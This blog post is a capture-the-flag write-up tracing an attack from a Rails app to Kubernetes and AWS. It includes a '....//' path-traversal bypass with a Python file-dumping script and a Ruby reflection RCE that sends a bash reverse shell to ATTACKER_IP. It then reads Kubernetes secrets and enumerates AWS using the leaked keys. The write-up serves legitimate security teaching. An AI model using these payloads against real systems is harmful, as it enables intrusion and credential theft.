loyalty.dev

From Rails to the Cloud: Demonstrating a Hacking Path on a Rails Application to Kubernetes and AWS

At Ascenda, security is paramount. We continuously enhance our knowledge to stay ahead of evolving threats. In this blog post, we explore how attackers can compromise web applications and their underlying infrastructure.

Introduction

Vulnerabilities within a Rails application can serve as interconnected links that significantly escalate attacks, potentially compromising an organization’s infrastructure. This article explores an attacker’s methodology in finding and exploiting vulnerabilities such as Arbitrary File Reads and Unsafe Reflections in Ruby to achieve Remote Code Execution (RCE) on a Linux container. Additionally, it examines how Kubernetes and AWS environments are enumerated.

The application and environments analysed in this article were created as part of a Capture The Flag (CTF) challenge at Ascenda.

Arbitrary File Read → Leaked Environment Variables

Arbitrary File Reads gives attackers unauthorised access to read files on a system, including sensitive system files and configuration files. This vulnerability is particularly dangerous as it exposes critical information about the web application. This attack is commonly used in conjunction with Path Traversal, allowing for attackers to access files stored outside a web root folder via “dot-dot-slash (../)” sequences.

  • An Arbitrary File Read can only READ files, and is not to be confused with Local File Inclusion (LFI) which can be used to EXECUTE code files on a server.

This vulnerability arises from passing unsanitised user input directly to file system calls that open and read file contents. Here is a vulnerable code snippet that is responsible for displaying images in the browser:

def index
  begin
    anya_path = Rails.application.config.anya_dir
    image = (anya_path + params.fetch(:img, 'anya.png')).gsub("../", "")
    file = File.open(image)
    @img = Base64.encode64(file.read)
    file.close

    @anyas = []
    anya_pattern = anya_path + '*.txt'
    Dir.glob(anya_pattern) do |filename|
      anya = File.open(filename)
      @anyas.append(anya.read)
      anya.close
    end
  rescue => e
    image = anya_path + 'anya.png'
    file = File.open(image)
    @img = Base64.encode64(file.read)
    file.close
  end
end

The image variable uses params.fetch, where the img parameter is read from the user-controlled GET request. It is combined with anya_path before being passed to File.open , having its contents encoded with Base64. If img is not present, image defaults to anya.png. In an attempt to prevent Path Traversal, gsub is used to strip all ../ sequences within the string.

However, this control is insufficient since gsub only scans through a string once, and does not strip ../ sequences recursively. Attackers can use ....// sequences instead. When the inner ../ sequence is stripped from ....//, it equates to ../, thus still allowing Path Traversal to be abused.

To confirm that the attack works, an attacker would need a file on the server to read. The /etc/passwd file is commonly used, since it is a global-readable file on Linux machines by default. curl can be used to send and view the response.

$ curl 192.168.175.138/?img=....//....//....//....//etc/passwd
<!DOCTYPE html>
<html>
  <head>
    <title>Anya</title>
    <meta name="viewport" content="width=device-width,initial-scale=1">



    <link rel="stylesheet" href="/assets/application-225c472641e2c10faf08a4377118b6df421da00a403d94d27a7d5f3ac36ee7f2.css" data-turbo-track="reload" />
    <script type="importmap" data-turbo-track="reload">{
  "imports": {
    "application": "/assets/application-37f365cbecf1fa2810a8303f4b6571676fa1f9c56c248528bc14ddb857531b95.js",
    "@hotwired/turbo-rails": "/assets/turbo.min-dfd93b3092d1d0ff56557294538d069bdbb28977d3987cb39bc0dd892f32fc57.js",
    "@hotwired/stimulus": "/assets/stimulus.min-dd364f16ec9504dfb72672295637a1c8838773b01c0b441bd41008124c407894.js",
    "@hotwired/stimulus-loading": "/assets/stimulus-loading-3576ce92b149ad5d6959438c6f291e2426c86df3b874c525b30faad51b0d96b3.js",
    "controllers/application": "/assets/controllers/application-368d98631bccbf2349e0d4f8269afb3fe9625118341966de054759d96ea86c7e.js",
    "controllers/hello_controller": "/assets/controllers/hello_controller-549135e8e7c683a538c3d6d517339ba470fcfb79d62f738a0a089ba41851a554.js",
    "controllers": "/assets/controllers/index-2db729dddcc5b979110e98de4b6720f83f91a123172e87281d5a58410fc43806.js"
  }
}</script>
<link rel="modulepreload" href="/assets/application-37f365cbecf1fa2810a8303f4b6571676fa1f9c56c248528bc14ddb857531b95.js">
<link rel="modulepreload" href="/assets/turbo.min-dfd93b3092d1d0ff56557294538d069bdbb28977d3987cb39bc0dd892f32fc57.js">
<link rel="modulepreload" href="/assets/stimulus.min-dd364f16ec9504dfb72672295637a1c8838773b01c0b441bd41008124c407894.js">
<link rel="modulepreload" href="/assets/stimulus-loading-3576ce92b149ad5d6959438c6f291e2426c86df3b874c525b30faad51b0d96b3.js">
<script src="/assets/es-module-shims.min-4ca9b3dd5e434131e3bb4b0c1d7dff3bfd4035672a5086deec6f73979a49be73.js" async="async" data-turbo-track="reload"></script>
<script type="module">import "application"</script>
  </head>

  <body>

    <nav>
  <ul>
    <li><a href="/">Home</a></li>
      <li class='right'><a href="/user_sessions/new">Login</a></li>
      <li class='right'><a href="/users/new">Register</a></li>
  </ul>
</nav>
<br>

  <h1>Yororosu onegaisurumasu - Anya</h1>
  <img class="styled-image" src="data:image/png;base64,cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6
ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6
YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2
Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2Jpbjov
YmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9z
YmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz
ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vz
ci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNy
L3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdz
Oi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bv
b2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5
Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct
ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDoz
NDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6
eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9z
YmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9z
YmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vz
ci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9u
b25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpyYWlsczp4OjEwMDA6MTAw
MDo6L2hvbWUvcmFpbHM6L2Jpbi9iYXNoCg==
" />

  </body>
</html>

When the Base64 blob is decoded, the contents of the /etc/passwd file are shown, proving that the attack works.

image

A Python script can be created to automate this process using requests and BeautifulSoup.

import base64
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

URL = 'http://192.168.175.138'
while True:
    file = input("Enter file name: ")
    params = {
        'img': f'....//....//....//....//..../{file}'
    }
    r = requests.get(URL, verify = False, params = params)
    soup = BeautifulSoup(r.text, 'html.parser')
    img_tag = soup.find('img', class_='styled-image')
    src_attr = img_tag['src']
    base64_string = src_attr.split(',')[1]
    try: 
        decoded = base64.b64decode(base64_string.encode('ascii'))
        print(decoded.decode())
    except:
        print("file not found :(")

image

From here, attackers may attempt to read configuration files that contain sensitive credentials used by the application. Alternatively, they can abuse the fact that everything is a file in Linux to read environment variables.

In Linux systems, hardware devices, directories, and process memory are represented as files. The /proc directory is a virtual file system created by the kernel to facilitate communication with user-space programs. It contains information about each running process indexed by its assigned Process ID (PID), accessible at /proc/<PID>. This includes details such as memory usage, executable path, file descriptors, and environment variables. This virtual file system allows for real-time monitoring and interaction with system processes and hardware.

Other files like /proc/version can be read to find information about the Linux distribution used, or /proc/stat to enumerate running processes.

image

An attacker can access the /proc/<PID>/environ file, which contains the environment variables used by a process. Typically, API keys, passwords and other sensitive information are located here. In this scenario, the application is hosted within a container, hence having a PID of 1. When read, it leaks the administrator password for the web application, as well as the fact that Kubernetes is being used:

image


Unsafe Ruby Reflection → RCE

Remote code execution (RCE) occurs when an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. A specifically crafted input can be used to inject arbitrary code that will be executed server-side. This vulnerability is critical, potentially resulting in a total compromise of the application’s functionality, as well as the server hosting the application.

Below is a code snippet that is vulnerable to RCE via Ruby's reflection capabilities

ctype = params.fetch(:ctype, 'File')
cargs = params.fetch(:cargs, '')
cop = params.fetch(:cop, 'new')
if !cargs.is_a?(Array)
  cargs = ["wb"]
end

if params.has_key?(:filename) && params.has_key?(:message)
  filepath = Rails.application.config.anya_dir + params[:filename]
  cargs.unshift(filepath)
  c = ctype.constantize
  k = c.public_send(cop, *cargs)
  if k.kind_of?(File)
    k.write(params[:message])
    k.close()
  else
    render :plain => "Type is not implemented"
    return
  end
end
rescue => e
  render :plain => "Error: " + e.to_s
  return
end

There are five parameters retrieved from a GET request that are user-controlled: ctype, cargs, cop, filename, and message. filename is combined with the web root directory to give filepath, which is appended to the start of cargs via unshift.

The security vulnerability is caused by the user-controlled variable ctype being passed to constantize. The latter converts a string into a constant and can dynamically load classes based on the provided class names.

Next, public_send is used with cop and cargs. The public_send method calls a public method on an object and passes any specified arguments. Here, the class being used is determined by ctype.constantize. The cop and cargs parameters are user-controlled without sanitisation as well.

In summary, a user can:

  1. Instantiate any class by providing its name through ctype.
  2. Invoke a public method specified by cop on the class determined by ctype.
  3. Pass any arguments via cargs.

The combination of being able to load any class and call any public method allows a user to execute any Ruby code server-side, potentially leading to RCE. To achieve RCE, the user can use the Kernel class and its public exec method. The Kernel class is included by the Object class, which is present in all Ruby objects. The exec method is used to execute command line arguments.

An attacker can get a reverse shell on the remote machine by executing bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 .

  • A reverse shell is a technique used by attackers to gain control of a target computer. This is done by executing commands on the target computer to initiate an outbound connection to an attacker-controlled machine, spawning a shell session that allows the attacker to remotely execute commands on the target.

To exploit the security vulnerability, the five parameters must be set as follows:

  1. ctype: Set to Kernel since this will be passed to constantize to be instantiated dynamically.
  2. filename: Set to ../../../../bin/bash as this parameter is appended to the front of cargs, thus controlling the actual binary being executed. The ../ sequences are used to escape the web root directory.
  3. cop: Set to exec to execute the arguments given in the command-line.
  4. cargs: Must be an array, achieved by sending the parameter as cargs[]. It is set to ['-c', 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1']. The -c flag is used to execute the command string in the second element of the array.
  5. message: Set to any arbitrary value, as it just has to be present.

This process can be automated using Python’s requests library:

params = {
    'ctype': 'Kernel',
    'filename': '../../../../bin/bash',
    'cargs[]': ['-c', 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'],
    'cop': 'exec',
    'message': 'test'
}
r = s.get(URL + '/pages/anya', params = params)

A port can be opened and listening using nc -lvnp 4444, receiving the outbound connection from the target machine.

image


Kubernetes Enumeration → Secrets Reading

Once attackers gain initial access to the container, their next objective would be to enumerate the environment. Since Kubernetes is being used to host the application, tools like kubectl can be installed to gather information and potentially escalate privileges.

The first step in this process is to find the JSON Web Token (JWT) for the serviceaccount, which is commonly found in one of the following directories:

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

This token allows for users to interact with the Kubernetes API. One can check their current privileges using kubectl auth can-i --list, which shows that secrets can be read:

image

Kubernetes secrets are retrieved using kubectl get secrets, and in this case it's storing AWS credentials:

image


AWS Keys → AWS Services Enumeration

Enumerating AWS environments is done using the aws Command Line Interface (CLI) tool, requiring credentials in the form of keys. Typically, information about the current user, user policies and roles are checked, as they may contain information useful to attackers.

First, aws configure is used to configure the tool to use the keys found above:

image

Afterwards, get-caller-identity from the Security Token Service (STS) can be used to retrieve details about the Identity and Access Management (IAM) user.

image

The current user is anya-forger. Using this, user policies can be listed using the list-attached-user-policies method.

image

Querying the specific policy via the get-policy method reveals more information.

image

The latest version is v6, and previous iterations can be listed using list-policy-versions.

image

Each version can be queried in detail using the get-policy-version method.

image

The above reveals the existence of a Lambda function called anya-function. More details about Lambda functions can be retrieved using get-function.

image

For this challenge, querying the Lambda function reveals a S3 Bucket URL, which contained the final flag for the challenge.

To wrap it all up like a burrito

This article demonstrates how an attacker can gain access from a vulnerable application and enumerate the internal network to find sensitive information and escalate their privileges.

The root cause of most web application vulnerabilities is insufficient input sanitisation. In the example outlined above, there was little to no input validation, allowing an attacker to abuse an Arbitrary File Read to leak sensitive credentials, then craft an input to achieve Remote Code Execution via Ruby Injection.

What an attacker does after gaining initial access depends on their end goal. For example, a politically motivated attacker may deface the front-facing applications. In contrast, a financially motivated attacker may aim to leak customer data to blackmail the company, hence moving laterally to the production database. In the environment outlined above, the goal was to enumerate the Kubernetes and AWS environments to locate the flags.

It is important for organisations to identify and scope their threats appropriately, and then implement the right controls to reduce the realistic risks faced.